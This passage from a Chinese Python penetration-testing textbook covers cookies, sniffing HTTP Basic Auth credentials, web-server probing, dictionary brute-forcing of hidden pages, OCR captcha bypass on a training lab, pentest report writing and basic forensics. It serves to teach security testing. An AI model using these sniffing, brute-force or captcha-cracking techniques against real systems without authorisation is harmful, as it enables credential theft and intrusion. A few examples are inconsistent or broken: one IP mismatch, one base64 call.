     application/xml;q=0.9,*/*;q=0.8', 'Connection':'keep-alive'
     }
     response = requests.get(url,headers)
     print(response.text)

14.3　处理Cookie

如果经常在购物网站搜索某一个商品，那么当访问其他有广告的网站时，很有可能展现出来的广告就是搜索的内容。这种情况即使是关机也会出现，信息是如何被这些网站获悉的？

中央电视台的“3·15”晚会上曾经曝光过这个问题，这一切都源于目标网站在主机上所保存的一个不起眼的文件——Cookie。国内外多家网络广告公司在用户不知情的情况下，通过Cookie采集用户信息，泄露用户个人隐私。

Cookie是某些网站为了能够辨别用户的身份而储存在用户本地计算机上的数据（一般经过加密）。简单地说，就是当用户访问网站时，该网站会通过浏览器建立自己的Cookie，它负责储存用户在该网站上的一些输入数据与操作记录，当用户再次浏览该网站时，网站就可以针对该Cookie通过浏览器查探，并以此识别用户身份，从而输出特定的网页内容。

这里先使用requests获取访问www.baidu.com所产生的Cookie。

     >>> import requests
     >>> response=requests.get("http://www.baidu.com")

现在这个response中已经包含访问百度的Cookie并在屏幕上输出这个Cookie。

     >>> response.cookies #获取cookie，返回CookieJar对象
     <RequestsCookieJar[Cookie(version=0, name='BDORZ', value='27315', port=None,
     port_specified=False, domain='.baidu.com', domain_specified=True, domain_initial_
     dot=True, path='/', path_specified=True, secure=False, expires=1583057740, discard=
     False, comment=None, comment_url=None, rest={}, rfc2109=False)]>

在使用Python编写的程序登录之后，往往还需要访问其他页面，但是在网站中，HTTP请求是无状态的。也就是说，即使第一次和服务器连接并且登录成功后，第二次请求服务器依然不能知道当前请求是哪个用户。

Cookies的出现可以解决这个问题，第一次登录后服务器返回一些数据（Cookie）给浏览器，然后浏览器保存在本地，当该用户发送第二次请求的时候，就会自动地把上次请求存储的Cookies数据携带给服务器，服务器通过浏览器携带的数据就能判断当前用户是哪个了。Cookies存储的数据量有限，不同的浏览器有不同的存储大小，但一般不超过4 KB。因此使用Cookies只能存储一些小量的数据。

在程序中可以利用Cookies直接登录。无须用户名、密码及验证码。此时，需要先获得登录该网站后的Cookies，在前面介绍了如何获得这个Cookies的值。

另外requests库中提供了一个叫作session的类，来实现客户端和服务器端的会话保持。使用session成功登录某个网站，再次使用该session对象网站的其他网页都会默认使用该session之前使用的Cookie等参数。之前不使用session的post请求为：

     requests.post(url,data=data,headers=headers)

而使用session的post请求为：

     session = requests.session()
     session.post(post_url, headers = headers, data = post_data)

后者在使用POST请求进行登录时，会将登录用户信息保存在session中，之后再次发送请求时，就会携带登录的用户信息。

14.4　捕获HTTP基本认证数据包

除浏览器之外，很多应用程序也可以使用HTTP与Web服务器进行交互。这时通常会采用一种叫作HTTP基本认证的方式。这种方式就是使用Base64算法来加密“用户名+冒号+密码”，并将加密后的信息存储在HTTP Request中的header Authorization中并发送给服务器端。例如，用户名是admin，密码是123456，两者使用冒号连接在一起的结果是admin:123456，再用Base64对这个字符串进行编码，得到的结果为YWRtaW46MTIzNDU2。将这个结果发送给服务器。Base64是一种任意二进制到文本字符串的编码方法，常用在URL、Cookie、网页中传输少量二进制数据。

每天都有大量的这种数据在网络中传输，前面已经编写过一个可以在网络中进行监听的程序，现在为这个程序再添加一个功能——过滤HTTP基本认证的数据包。这个程序需要使用到两个新的模块：re和base64。

首先介绍一下re模块，它的作用是实现对正则表达式的支持。利用这个模块就可以快速地在捕获数据包的内容中查找指定的字节。本例中查找的就是“Authorization: Basic”。re中主要有re.match()与re.search()函数，re.match()只匹配字符串的开始，如果字符串开始不符合正则表达式，则匹配失败，函数返回None；而re.search()匹配整个字符串，直到找到一个匹配项。这里面选择使用re.search()。下面给出了一个实例。

     import re
     text = "Authorization: Basic YWRtaW46MTIzNDU2"
     m = re.search(r'Authorization: Basic (.+)', text)
     if m:
         print(m.group(0), m.group(1))
     else:
         print('not search')

执行结果如下所示：

     Authorization: Basic YWRtaW46MTIzNDU2 YWRtaW46MTIzNDU2

而base64中通过函数b64encode()实现编码，通过函数b64decode()实现解码。

     import base64
     text = "admin:123456"
     auth_str1 = base64.b64encode(text)
     print(auth_str1)
     auth_str2=base64.b64decode(auth_str1)
     print（auth_str2）

执行结果如下所示：

     YWRtaW46MTIzNDU2
     admin:123456
     >>>

接下来完成一个完整的程序，这个程序中使用sniff()函数捕获网络中的数据包，并设置过滤器只捕获80端口的数据包。

但是，如果要捕获其他计算机上的登录数据包，需要和ARP欺骗程序结合使用，否则只能捕获本机上的登录数据包。

14.5　编写Web服务器扫描程序

本节编写一个程序，用于检测一台主机上面是否运行着HTTP服务。前面介绍过如何检测一台主机上面的80端口是否开放，但是这种检测不一定能可靠地检测出目标主机是否真的提供Web服务。因为目标主机可能开放了80端口，但并未提供Web服务。但是，如果对目标服务器发起一个HTTP请求，得到回应，就可以肯定这台服务器提供Web服务。这个程序也可以使用GET和HEAD方法来完成，首先以GET方法来完成这个功能，代码如下：

然后判断返回值是否有效。测试时可以使用任何一个可打开页面的地址，例如http://www.baidu.com，然后使用这段代码来测试这台服务器，执行的结果如图14-9所示。

图14-9　获取服务器返回的页面信息

这表示“http://www.baidu.com”地址上运行着Web服务。接下来测试一个没有运行Web服务的IP地址，例如服务器http://192.168.1.102（在测试时也可以使用任何一台没有提供Web服务的主机），这时执行的结果会出现如下错误：

     ConnectionRefusedError: [WinError 10061] 由于目标计算机积极拒绝，无法连接。

也就是说，如果目标服务器上没有提供Web服务，这个程序执行之后就会抛出一个错误，可以使用except来捕获这个错误，然后修改程序。如果正常得到response，表明目标服务器上运行着Web服务；如果捕获了错误，表明目标服务器上没有运行Web服务。

再次执行这个程序，将url的值设置为'www.baidu.com'，得到的结果如图14-10所示。

图14-10　服务器在线时的结果

将参数设置为“http://192.168.101.1”，得到的结果如图14-11所示。

图14-11　服务器不在线时的结果

不过使用head方法会更快捷，因为head方法无须目标服务器返回整个页面的代码。现在利用HTTP方法中的HEAD方法来完成对目标的检测，相比起GET方法，使用HEAD方法会更快速。HEAD方法的特点如下：

□　只请求资源的首部。

□　检查超链接的有效性。

□　检查网页是否被修改。

□　多用于自动搜索机器人获取网页的标志信息、获取RSS种子信息或者传递安全认证信息等。

使用HEAD方法来完成这个功能，基本与GET方法相同，只是需要在使用Request时指定所使用的方法为“HEAD”，修改完的代码如下：

14.6　暴力扫描出目标服务器上的所有页面

一个网站往往拥有很多个页面，这些页面中最为常见的是index页面，即主页。当在浏览器中输入地址http://192.168.1.1时，实际上打开的是这台服务器上的index页面。网站的其他页面则提供了其他功能，例如用来展示内容的页面，用来进行登录的页面等。不过有些页面并不应该展示给用户，这些页面可能包含了网站的敏感信息，但是很多程序员往往没有隐藏这些页面，在大多数时候，这并不会带来什么麻烦，因为很少有用户找到这些页面。但是黑客往往会利用一些工具找到这些页面，从而获得有用的信息。

这些工具的原理也很简单，因为常见的页面起的名字大部分都相同，例如index、admin、login等，网上很容易找到收集了常见页面的字典文件。然后把目标服务器的地址和这个字典文件的表项组合，使用get方法进行测试，如果得到回应，说明目标服务器上存在这个页面，否则表示目标服务器上没有这个页面。

下面编写了一个用来测试http://192.168.169.133上是否存在一个名为“link.htm”页面的程序：

     import requests
     host="http://192.168.169.133"
     item="link.htm"
     target = host + "/" + item
     r = requests.get(target)
     print(r.status_code)

执行这个程序之后，得到的结果是200。这表示现在http://192.168.169.133上存在一个名为“link.htm”页面，同样，如果目标上没有这个页面，将会得到一个错误，结果为404。

现在有两种方法来完成这个程序：一是可以使用try和except来判断页面是否存在，如果except捕获到错误，则可以认为这个页面不存在；二是根据r.status_code的状态来判断。另外可以使用字典文件dicc.txt，这个字典文件中保存了大量常见的页面名，如图14-12所示。

图14-12　字典文件dicc.txt的内容

编写的程序只需要从字典中读出一行，然后与http://192.168.169.128共同组成一个地址。例如与第一行组成http://192.168.169.128/phpmyAdmin/。下面给出了一个完整的程序：

14.7　验证码安全

目前Web程序出于安全方面的考虑，大都会采用验证码技术。但是验证码的实现往往有很多种方式，常见的有以下几种。

□　文字识别验证码。这种验证码需要用户识别图片中的文字（字母、数字、汉字等），然后输入文本框来实现验证，如图14-13所示。

□　拼图式验证码。这种验证码需要用户将备选碎片拖动到正确位置，如图14-14所示。

图14-13　文字识别验证码

图14-14　拼图式验证码

□　单击式验证码，要求用户选出图中指定物体或者文字，如图14-15所示。

图14-15　单击式验证码

目前针对文字识别验证码的破解技术比较成熟，本节将进行讲解，首先需要安装一个可以生成验证码的测试平台。

目前为了让Web程序开发者和安全研究人员对各种漏洞的研究有一个入口，世界上很多安全组织都开发了用于教学和实践的Web测试程序。比较知名的Web测试程序包括DVWA、Webgoat等，它们之间的区别主要是由不同编程语言开发，使用不同的数据库，而且提供的案例侧重点不同。本节仍然会使用pikachu来测试验证码。在第10章中曾经介绍了pikachu平台的安装，这里不再介绍。

单击左侧导航栏的“暴力破解”下拉列表，然后选择“验证码绕过(on server)”选项，在窗口右侧可以看到一个带有验证码的页面，如图14-16所示。

图14-16　带有验证码的登录页面

将验证码以图片形式保存，然后使用Python对其进行识别。

光学字符识别（Optical Character Recognition，OCR）是指对文本资料进行扫描，然后对图像文件进行分析处理，获取文字及版面信息的过程。tesseract的OCR引擎最先由HP实验室于1985年开始研发，至1995年时已经成为OCR业内最准确的3款识别引擎之一。tesserocr是一个功能比较强大的光学字符识别库，是对tesseract做的一层Python API封装，因此在安装tesserocr之前需要先安装tesseract。

tesseract可以在Windows和Linux系统下运行，这里以Windows系统为例讲解。首先进入tesseract的下载页面（https://digi.bib.uni-mannheim.de/tesseract/），如图14-17所示。其中文件名中带有dev的为开发版本，不带dev的为稳定版本。

图14-17　tesseract的下载页面

本实验中选择tesseract-ocr-w64-setup-v5.0.0.20190623.exe。下载和安装的过程很简单，安装路径如图14-18所示。

图14-18　选择安装路径

接下来需要将tesseract安装路径添加到path环境变量中，如图14-19所示。

图14-19　添加到path环境变量

在PyCharm中安装pytesseract模块，如图14-20所示。

图14-20　安装pytesseract模块

这个模块的使用方式很简单。首先看一张简单的验证码图片，如图14-21所示。

将这张图片保存为test.png，接下来编写一段可以识别该图片中文字的程序。

图14-21　一张简单的验证码图片

执行这个程序，可以看到很快就识别出这张图片的内容，如图14-22所示。

图14-22　识别出验证码

但是，如果将图14-21所示的图片替换成图14-16所示的验证码图片之后，这个程序却识别不出来。这是因为pikachu中生成的验证码一方面很小，另一方面其中包含很多点和条纹干扰项。如果图片未经处理直接交由tesserocr解析，识别率可能很低。通常情况下，还需要做些额外的图片处理，如放大图片、转灰度图、二值化等。

PIL模块中Image的resize可以实现对图片大小的缩放，例如使用下面的代码可以将图片的长和宽都变为原来的3倍。

利用Image的convert()方法可将图片转为灰度图。

     image=image.convert('L')
     image.show()

图14-23　经过缩放和灰度处理的验证码图片

调整之后的验证码图片如图14-23所示。

不过这张图片还是无法使用tesseract识别，主要原因还是点和线条干扰项太多，可以利用图像二值化方法去除这些干扰项。图像二值化（Image Binarization）就是将图像上的像素点的灰度值设置为0或255，也就是将整个图像呈现出明显的黑白效果的过程。在数字图像处理中，二值图像占有非常重要的地位，图像的二值化使图像中数据量大为减少，从而凸显出目标的轮廓。对图像进行二值化处理的步骤如下所示。

首先使用convert()函数将图像转换为灰色图，其中参数'L'表示为灰色图像，它的每个像素用8bit表示，0表示黑，255表示白，其他数字表示不同的灰度。

     image= image.convert('L')
     image.save("test1.jpg")

自定义一个灰度界限，程序中设置为150，需要根据实际进行调整，大于这个值为黑色，小于这个值为白色。

识别该验证码的完整代码如下所示：

当threshold=150的时候，该程序仍然无法识别出验证码，试着将threshold的值调整为100，执行结果如图14-24所示。

图14-24　threshold为100时的识别结果

接着调整threshold的值，当该值调整为85时，可以得到如图14-25所示的结果，这个结果是十分理想的。

图14-25　threshold为85时的识别结果

实际上，图像中文字的提取是相当复杂的一项工作，传统方法主要依赖提取的特征，但是很难设计出比较稳健的特征，在识别性能上的研究进展不大。但是，自从深度学习技术出现之后，文字识别又有了新的活力，深度学习技术可以很好地解决文字识别问题，识别过程也不像传统方法那么复杂，目前深度学习已经成为解决文字识别的一个主要方案，如果读者对此感兴趣，可以尝试学习某种深度学习框架，例如Keras。

14.8　小结

Web应用的安全是近年来一个极为热门的研究方向，Python作为一门全能型的语言，自然也少不了对这个方面的支持。本章首先介绍了HTTP的基本概念，然后讲解了Python中与HTTP相关的库文件，给出了一些针对HTTP的常见操作，最后给出了一个识别验证码的思路。

但是对Web应用安全的研究也是一项十分复杂的工作，如果要在本书的一个章节中对其进行详尽介绍是无法实现的，这里仅仅提到了一些常见的操作。

第15章　生成渗透测试报告

到第14章为止已经对目标进行了完整的渗透测试，但是对目标的攻击并不是最终的目的。正确的做法应该是将发现的问题以报告的形式提交给客户，让客户能够理解问题的严重性，并对此做出正确回应，及时改正，这才是真正应该做的。这一切需要通过沟通才能完成，除了与客户之间的交流之外，还必须向客户提供一份易于理解的书面测试报告。

渗透测试的最后一个也是最为重要的一个阶段就是编写报告。一个合格的渗透测试人员应该具备良好的报告编写能力。渗透测试人员在编写测试报告的时候应该保证报告的专业性，但是这份报告最后的阅读者往往是不具备专业领域知识的管理人员，因此需要避免使用过于专业的术语，并且易于理解。由于微软办公软件的普及，即使是专业人士也大都会采用Word、Excel来编写渗透测试报告。另外利用Python可以便利地导入扫描和渗透的结果，从而编写出优秀的报告。

本章主要围绕以下几个部分展开学习。

□　渗透测试报告的相关理论。

□　使用Python对XML文件进行处理。

□　使用Python生成Excel格式的渗透报告。

15.1　渗透测试报告的相关理论

15.1.1　目的

如果将整个渗透测试的过程看作工厂中的生产过程，那么最后的产品是渗透测试报告。很多初入职场的工程师和学生都认为编写文档是一份技术含量不高的工作，这其实是一个十分错误的观点。渗透测试人员需要将整个渗透测试过程中完成的工作以书面报告的形式整理出来，这份报告必须以通俗易懂的语言全面地总结这次测试过程中的工作。

一种比较糟糕的情况就是对目标进行了大量的渗透测试工作，而且发现了目标网络中存在的问题，但是目标网络的管理人员却无法理解报告，或者对提出的问题没有足够重视，这样其实在渗透测试时所花费的时间和精力都被浪费了。因此一份合格的渗透测试报告应该可以让所有的人员都能够看懂，而且轻而易举地发现报告中指出问题的重要性。渗透测试人员不能仅仅只具备渗透技能，对安全问题的修复能力、表达能力也同样重要。

15.1.2　内容摘要

渗透测试报告的内容摘要其实就是最终报告的一个概况总结。这部分内容必须避免长篇大论，应该以高度精练的方式来概述在整个渗透测试阶段的工作，篇幅一般不会超过几个段落。另外，在描述时采用的语言也应该尽量简单，不要使用任何的技术术语，侧重描述目前目标中漏洞可能带来的风险。

渗透测试的报告应该以发现的漏洞作为切入点，结合用户的实际安全需求来完成。例如，如果现在是为一家银行做测试，那么银行可能最关注的就是所有客户的信息，黑客可能会利用银行对外发布HTTP服务的Web程序来窃取这些信息。在进行报告的编写过程中就应该花费大量精力来描述在测试过程中所发现与此相关的漏洞。如果在测试过程中没有发现这一类的漏洞，就应该明确地说明这个事实。

内容摘要中还应该说明为什么要进行这次安全渗透测试。

15.1.3　包含的范围

当对目标网络进行测试时，不太可能会遇见所有的设备都存在问题的情况。例如对一个单位的所有服务器进行渗透测试时，可能只在其中一两台设备上发现了问题。当在编写渗透测试报告时，是将所有服务器的信息都写入报告中呢，还是只需要将有问题的设备信息写入报告中呢？

和这一点相类似的是，在编写渗透测试报告时，是将渗透过程中的全部测试都写入渗透报告中，还是只将发现问题的测试写入渗透报告？

实际上目前对这个问题并没有一个权威的答案，不同的机构或者专家对此可能会有截然不同的看法，两种做法各有利弊。其他机构能够快速地对这份报告中提到的测试过程进行验证。

15.1.4　安全地交付渗透测试报告

渗透测试的最后一个步骤就是将编写好的报告交付给客户。一般来说，每个机构都会使用专业的加密软件。如果所在的是一个创业型企业，没有购买这方面的软件，那么也可以使用zip格式来对报告进行加密。虽然这样做看起来不是十分专业，但是比一份明文的报告要好得多。

这样将加密之后的报告和密钥分开传递给客户，可以以电子邮件或者U盘的形式交给客户，而密钥则以一个更安全的方式传递。

15.1.5　渗透测试报告应包含的内容

由于目前安全行业中并没有一份完全统一的标准，这一点给渗透测试从业人员在编写报告时带来了困难。而那些刚刚进入这个行业的人员可能更会感到困惑，到底在一份渗透测试报告中应该包含哪些内容呢？这些内容又是如何组织的呢？

由于一次渗透测试需要的时间比较长，在此期间完成了大量的工作，可以使用WAPITI模型来将这些工作成果组织在一起。

WAPITI模型一共包括6点：

□　W——进行渗透测试的原因。

□　A——在渗透测试过程中使用的方法。

□　P——在渗透测试过程中发现的问题。

□　I——这些问题会给目标带来的影响。

□　T——给目标提出改正的方案。

□　I——明确客户已经清楚了解报告的内容。

15.2　处理XML文件

目前XML（可扩展标记语言）是各种应用程序之间进行数据传输最常用的工具。XML元素是XML文件内容的基本单元。从语法讲，一个元素包含一个起始标记、一个结束标记以及标记之间的数据内容。

XML元素与HTML元素的格式基本相同，其格式如下：

     <标记名称 属性名1="属性值1" ……>内容</标记名称>

它由标签对组成，< port ></ port >。

标签可以有属性，< port portid="25"></ port >。

标签对可以嵌入数据，< port >abc</ port >。

这里面可以使用mxl.dom.minidom模块来处理XML文件，所以要先引入。

文件对象模型（Document Object Model，DOM）是W3C组织推荐的处理XML的标准编程接口。一个DOM的解析器在解析一个XML文档时，一次性读取整个文档，把文档中所有元素保存在内存中的一个树结构里，之后可以利用DOM提供的不同函数来读取或修改文档的内容和结构，也可以把修改过的内容写入XML文件。Python中用xml.dom.minidom来解析XML文件。下面首先使用Nmap生成一份XML类型的报告。

     nmap 192.168.169.132 -oX test.xml

生成的test.xml文件中关于开放端口的状态采用了如下格式：

     <port protocol="tcp" portid="25"><state state="open" reason="syn-ack" reason_ttl=
     "128"/><service name="smtp" method="table" conf="3"/></port>

用xml.dom.minidom来解析文件，过程很简单，下面直接给出一个解析的实例。

执行结果如下：

     *****Port*****
     Portid : 25
     The State is: open
     The Service is: smtp
     *****Port*****
     Portid : 80
     The State is: open
     The Service is: http
     *****Port*****
     Portid : 135
     The State is: open
     The Service is: msrpc
     *****Port*****
     Portid : 139
     The State is: open
     The Service is: netbios-ssn
     *****Port*****
     Portid : 443
     The State is: open
     The Service is: https
     *****Port*****
     Portid : 445
     The State is: open
     The Service is: microsoft-ds

15.3　生成Excel格式的渗透报告

XlsxWriter模块是一个生成Excel文档的Python模块，这个模块可以生成十分优美的Excel文档（需要注意的是，这个模块匹配的是Excel 2007）。首先需要安装这个模块，最简单的安装方法就是使用easy_install。

     easy_install XlsxWriter

接下来使用XlsxWriter编写一个最简单的程序，具体如下：

     import XlsxWriter
     workbook = XlsxWriter.Workbook('hello.xlsx')
     worksheet = workbook.add_worksheet()
     worksheet.write('A1', 'Hello world')
     workbook.close()

这个程序的作用是在单元格A1中填写“Hello world”，运行结果如图15-1所示。

图15-1　使用XlsxWriter编写一个简单的程序

很多人容易将Excel中的工作簿（Excel文档）和工作表弄混，注意，工作簿本身是一个文档，但是它的作用如同一个文件夹，并不直接保存内容，而是将内容保存在其中的工作表里面，如图15-2所示。这一点和Word文档是不同的。在XlsxWriter模块中使用workbook来对应工作簿。

每一个工作簿中又包含很多个工作表，平时看到的一个一个方格组成的页面就是工作表。在XlsxWriter模块中使用worksheet来对应工作表，如图15-3所示。

图15-2　Excel中的工作簿

图15-3　Excel中的默认工作表

Excel最强大的功能就是它的数据处理，图表是一种十分直观的数据展示方法，在XlsxWriter模块中使用chart来对应图表，如图15-4所示。

图15-4　Excel中的图表文件

workbook、worksheet和chart是XlsxWriter中最重要的3个类。首先介绍workbook类，这个类主要有两个作用：一是用来生成Excel文档，二是提供生成工作表的方法。这个类的实例化需要一个文件名作为参数，返回值为workbook对象。下面给出了生成一个名为“hello.xlsx”文档的方法。

     workbook = xlsxwriter.Workbook('hello.xlsx')

并不能直接在Excel文档中保存数据，而是要在这些工作表中保存数据。因此，接下来要在这个文档中生成一个用于保存数据的工作表。

添加工作表的函数为add_worksheet（[name]），这个函数只需要一个字符型参数，用于表示工作表名。返回值是一个工作表，如图15-5所示。

     worksheet1 = workbook.add_worksheet("firstworksheet")

图15-5　创建的工作表“firstworksheet”

图15-5给出了使用这个代码创建好的工作表“firstworksheet”。

添加工作表之后，就可以向这个工作表中添加数据。Excel工作表中基本单位是单元格，每个单元格都由行和列表示，例如第一个单元格就是A1，第二个是B1，如图15-6所示。

图15-6　B1单元格

向单元格中添加数据的函数是write(row, col, *args)，其中，row表示行标；col表示列标；*args表示要写入的参数。不过下面的两种写法是相同的。

     worksheet.write(0, 0, 'Hello')
     worksheet.write('A1', 'Hello')

为了使表格更加美观，可以对单元格的格式进行设置。可供设置的内容很多，其中包括单元格文字的字体、字号、颜色、是否加粗、对齐方式以及数字形式等。

XlsxWriter中采用了预先定义格式的方式，也就是先定义好单元格文字的格式。

     format = workbook.add_format()

单元格的格式可以保存到一个变量format中，然后调整需要设置的属性，例如单元格中的文字加粗，就可以使用如下语句：

     format.set_bold()

在向单元格中写入数据的时候，就可以应用如下格式：

     worksheet.write (0, 0, 'Foo', format)

首先来看一下跟字体相关的各种属性，恰当地使用这些属性可以使文档十分漂亮。

□　字体类型，设置字体的函数为set_font_name(fontname)，其中fontname是字符类型。例如将字体设置为“Times New Roman”，代码如下，结果如图15-7所示。

     cell_format.set_font_name('Times New Roman')

□　字号，设置字号的函数为set_font_size(size)，其中字号是数字型。例如将字号设置为“30”，代码如下，结果如图15-8所示。

     format.set_font_size(30)

图15-7　将字体设置为“Times New Roman”

图15-8　将字号设置为“30”

□　字体颜色set_font_color(color)，这里面的字体颜色可以是Black、Blue、Cyan、Green、Magenta、Red、White、Yellow。例如将字体颜色设置为“Red”。

     format.set_font_color('red')

□　字体加粗set_bold()，下面的代码可以将文字设置为加粗。

     format.set_bold()

□　字体倾斜set_italic()，下面的代码可以将文字设置为倾斜。

     format.set_italic()

□　下画线set_underline()，下面的代码可以为文字添加下画线。

     format.set_underline()

□　删除线set_font_strikeout()，下面的代码可以为文字添加删除线。

     format.set_font_strikeout()

□　下标set_font_script()，这个函数的参数有两个：1表示上标；2表示下标。下面的代码可以将文字设置为下标。

     format.set_font_script('2')

□　如果单元格的内容是数字，也可以设置数值的格式。不过Excel中的数据格式比较复杂，下面给出了一些实例。

     format01.set_num_format('0.000')
     worksheet.write(1, 0, 3.1415926, format01)       # -> 3.142

     format02.set_num_format('#,##0')
     worksheet.write(2, 0, 1234.56, format02)         # -> 1,235

     format03.set_num_format('#,##0.00')
     worksheet.write(3, 0, 1234.56, format03)         # -> 1,234.56

     format04.set_num_format('0.00')
     worksheet.write(4, 0, 49.99, format04)           # -> 49.99

     format05.set_num_format('mm/dd/yy')
     worksheet.write(5, 0, 36892.521, format05)       # -> 01/01/01

     format06.set_num_format('mmm d yyyy')
     worksheet.write(6, 0, 36892.521, format06)       # -> Jan 1 2001

     format07.set_num_format('d mmmm yyyy')
     worksheet.write(7, 0, 36892.521, format07)       # -> 1 January 2001

     format08.set_num_format('dd/mm/yyyy hh:mm AM/PM')
     worksheet.write(8, 0, 36892.521, format08)      # -> 01/01/2001 12:30 AM

     format09.set_num_format('0 "dollar and" .00 "cents"')
     worksheet.write(9, 0, 1.87, format09)           # -> 1 dollar and .87 cents

□　对齐方式，Excel中的对齐操作很多，这里的对齐方式指的是单元格中文字相对单元格的位置。常见的对齐方式有居中（center）、靠右（right）、填充（fill）、两端对齐（justify）、跨列居中（center_across）。

□　垂直对齐方式包括顶端对齐（top）、居中对齐（vcenter）、底部对齐（bottom）、两端对齐（vjustify）。

□　跨列居中，set_center_across()。

□　首行缩进，set_indent()。

□　背景色，set_bg_color()。

□　前景色，set_fg_color()。

□　添加图像，如果要添加图像，可以使用insert_image(row, col, image[, options])函数，同样，其中，row表示行标，col表示列标，image表示要插入图像的名称（需要图像的路径）。如下面的代码。

     worksheet1.insert_image('B10', '../images/python.png')
     worksheet2.insert_image('B20', r'c:\images\python.png')

□　合并单元格worksheet.merge_range()，这个函数的参数比较多。

     merge_range(first_row, first_col, last_row, last_col, data[, cell_format])

利用上面讲解过的内容制作一个大标题。代码如下：

     #coding: utf-8
     import xlsxwriter
     workbook = xlsxwriter.Workbook('c:\chart.xlsx')
     worksheet = workbook.add_worksheet()
     Title_format_H1 = workbook.add_format()
     Title_format_H1.set_bold()
     Title_format_H1.set_font_size(36)
     Title_format_H1.set_bg_color("gray")
     Title_format_H1.set_border(1)
     Title_format_H1.set_font_color('white')
     Title_format_H1.set_align("center")
     worksheet.merge_range('A1:J1', 'Reports', Title_format_H1)
     workbook.close()

这段代码的执行结果如图15-9所示。

图15-9　应用了格式的示例

利用这个模块，还可以将渗透测试的结果以图表的形式展示出来。Excel中的图表功能极为强大，类型有很多种。这个模块中的chart对应着Excel中的图表，常见的类型如下。

□　area：面积图。

□　bar：条形图。

□　column：列样式柱形图。

□　line：线形图。

□　pie：饼图。

□　doughnut：圆环图。

□　scatter：分散式图。

□　stock：股价图。

□　radar：雷达图。

添加图表的函数为insert_chart()，向一个工作表中添加图表的命令如下：

     insert_chart(row, col, chart[, options])

下面给出了插入一个图表的详细代码。

     import xlsxwriter
     workbook = xlsxwriter.Workbook('chart.xlsx')
     worksheet = workbook.add_worksheet()
     #创建一个图表对象
     chart = workbook.add_chart({'type': 'column'})
     # 向工作表中添加一些数据
     data = [
         [1, 2, 3, 4, 5],
         [2, 4, 6, 8, 10],
         [3, 6, 9, 12, 15],
     ]
     worksheet.write_column('A1', data[0])
     worksheet.write_column('B1', data[1])
     worksheet.write_column('C1', data[2])
     # 添加数据序列
     chart.add_series({'values': '=Sheet1!$A$1:$A$5'})
     chart.add_series({'values': '=Sheet1!$B$1:$B$5'})
     chart.add_series({'values': '=Sheet1!$C$1:$C$5'})
     # 将图表插入工作表中
     worksheet.insert_chart('A7', chart)
     workbook.close()

这段代码执行之后的结果如图15-10所示。

图15-10　生成的图表文件

Excel格式的内容很容易转换为其他的格式，例如PDF、HTML等格式。在完成整个渗透测试报告之后，就可以将其转换为需要的格式了。

15.4　小结

本章介绍了渗透测试报告的编写规范与包含的内容，并介绍了如何使用Python编写测试报告。虽说渗透的过程可能激动人心，但是最后的成果却要以文档的形式展示给客户。如果希望成为一名合格的渗透测试专家，那么应该具备优秀的报告编写能力。

第16章　Python取证相关模块

前面已经介绍了很多关于网络渗透方面的技术，本章将介绍一部分和取证相关的内容。随着计算机犯罪案件数字不断上升和犯罪手段的数字化，收集电子证据的工作成为提供重要线索及破案的关键。取证工作是一份相当复杂的工作，本章中介绍的只是其中很小的一部分内容。

这一章主要围绕以下几个部分展开学习。

□　文件MD5值的计算。

□　对IP进行地理定位。

□　使用Python校正时间。

□　注册表取证相关模块。

□　图像取证的相关模块。

16.1　MD5值的计算

这一章中将MD5放在最前面，这是因为它在取证时十分重要。在进行取证时，如果需要将文档（Word、Excel等）、照片等作为证据，必须要计算散列（MD5、SHA）留作完整性校验时使用。

16.1.1　MD5的相关知识

MD5是一种被广泛使用的密码散列函数，无论输入长度是多少，都可以产生出一个128位（16字节）的散列值，不同的输入得到不同的结果（唯一性），因此MD5也被称为数字指纹。借助这个“数字指纹”，通过检查文件前后MD5值是否发生了改变，就可以知道源文件是否被改动。虽然目前MD5的应用很广泛，但是这里只考虑它在取证方面的作用。

16.1.2　在Python中计算MD5

Python中hashlib模块提供了MD5算法接口，可以通过简单的几个步骤实现对一段字符串的MD5值的计算。

首先要创建一个MD5对象，然后使用这个对象的update方法（将要计算MD5值的字符串传递给该对象），最后使用hexdigest方法打印输出十六进制数字表示的MD5值。例如下面给出了一个使用Python 3计算“hello world”的MD5值实例。

     import hashlib
     def md5_convert(string):
         md5 = hashlib.md5()
         md5.update(string.encode())
         return md5.hexdigest()
     data="hello world"
     print(md5_convert(data))

执行这个程序之后，可以看到输出为：

     5eb63bbbe01eeed093cb22bb8f5acdc3

现在将data中“hello world”中间的空格去掉，变成“helloworld”。

     fc5e038d38a57032085441e7fe7010b0

可以看到仅仅去掉了一个空格，MD5的值全变了。

16.1.3　为文件计算MD5

MD5值并不是主要用在字符串的计算上，而是用在文件的计算上。例如在下载软件的时候经常会发现，软件的下载页面上除了会提供软件的下载地址以外，还会给出一串长长的字符串，这串字符串其实就是该软件的MD5值。当下载该软件后，可以使用专门的工具计算该软件的MD5值，然后与网站提供的进行比较，如果不同，说明软件已经被篡改了（很有可能被添加了木马或者病毒）。

例如编写程序计算C盘下的一个名为“c.txt”的文件的MD5值。

16.2　对IP地址进行地理定位

在实际工作中，有时需要对某些IP地址进行定位，也就是说要知道这个IP地址位于哪里。进行这种操作时，需要一个IP地址和对应地理位置的数据库，目前世界上提供这种数据的厂商很多，但是大多数是收费的，在这个例子中可以使用maxmind提供的geolite2免费版本。使用时首先下载这个数据库，目前maxmind需要注册才能完成下载操作。分别下载3个文件，如图16-1所示。

图16-1　浏览器打开一个页面

这里以GeoLite2-City文件为例，它解压缩之后里面包含了一个GeoLite2-City.mmdb文件，接下来将会使用这个文件完成定位。

然后需要安装一个geoip2模块，这个模块使用geoip2.database.Reader()载入刚刚解压缩的GeoLite2-City.mmdb文件，然后就可以定位了。例如，查询"124.236.40.3"对应的位置的代码如下：

     import geoip2.database
     ip ="124.236.40.3"
     reader = geoip2.database.Reader('.\GeoLite2-City.mmdb')
     data = reader.city(ip)
     print("你所要查询的IP地址为: ", ip)
     print("该IP所在国家为:", data.country.name)
     print("该IP所在区域为: ", data.subdivisions.most_specific.name)
     print("该IP所在城市为: ", data.city.name)
     print("该IP所在城市Latitude: ", data.location.latitude)
     print("该IP所在城市Longitude: ", data.location.longitude)

这个程序查询了221.230.147.106所在位置的信息，结果如下。由于使用的是免费版，因此结果并不是完全准确，只能作为参考。

     你所要查询的IP地址为:  124.236.40.3
     该IP所在国家为: China
     该IP所在区域为:  Beijing
     该IP所在城市为:  Beijing
     该IP所在城市Latitude:  39.9288
     该IP所在城市Longitude:  116.3889

16.3　时间取证

